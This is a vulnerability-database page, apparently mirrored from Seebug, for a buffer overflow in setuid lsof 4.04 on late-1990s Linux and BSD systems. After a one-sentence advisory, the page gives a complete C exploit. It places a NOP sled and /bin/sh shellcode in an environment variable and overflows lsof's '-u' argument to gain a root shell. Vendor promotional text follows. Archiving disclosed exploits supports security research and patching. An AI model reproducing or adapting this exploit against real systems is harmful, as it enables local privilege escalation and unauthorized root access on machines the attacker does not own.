Lucene search
K

Debian Linux 2.0/2.0 r5,FreeBSD <= 3.2,OpenBSD 2.4,RedHat Linux 5.2 i386,S.u.S.E. Linux <= 6.1 Lsof Buffer Overflow Vulnerability (2)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

Lsof Buffer Overflow Vulnerability in Linux Distribution

Code

                                                source: http://www.securityfocus.com/bid/496/info
 
Lsof is an open file management utility included with many linux distributions. When run setuid root or setgid kmem, it is subject to a buffer overflow that can lead to regular users gaining root priveleges.

/* http://www.hackersnetwork.net! */

/*
 *  Xploit for lsof 4.0.4 by Zhodiac &#60;[email protected]&#62;
 *  Based on Aleph&#39;s article in phrack49
 */

#include &#60;stdlib.h&#62;

#define DEFAULT_OFFSET                   0
#define DEFAULT_BUFFER_SIZE             32
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  &#34;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&#34;
  &#34;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&#34;
  &#34;\x80\xe8\xdc\xff\xff\xff/bin/sh&#34;;

unsigned long get_esp(void) {
   __asm__(&#34;movl %esp,%eax&#34;);
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;
  char comando[512];

  if (argc &#62; 1) bsize   = atoi(argv[1]);
  if (argc &#62; 2) offset  = atoi(argv[2]);
  if (argc &#62; 3) eggsize = atoi(argv[3]);

  printf(&#34;\nXploit for lsof 4.04 by zhodiac &#60;[email protected]&#62;\n\n&#34;);

  if (!(buff = malloc(bsize))) {
    printf(&#34;Can&#39;t allocate memory.\n&#34;);
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf(&#34;Can&#39;t allocate memory.\n&#34;);
    exit(0);
  }

  addr = get_esp() - offset;
  printf(&#34;Using address: 0x%x\n&#34;, addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i &#60; bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i &#60; eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i &#60; strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = &#39;\0&#39;;
  egg[eggsize - 1] = &#39;\0&#39;;

  memcpy(egg,&#34;EGG=&#34;,4);
  putenv(egg);
  snprintf(comando,511,&#34;lsof -u %s&#34;,buff);
  system(comando);
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
19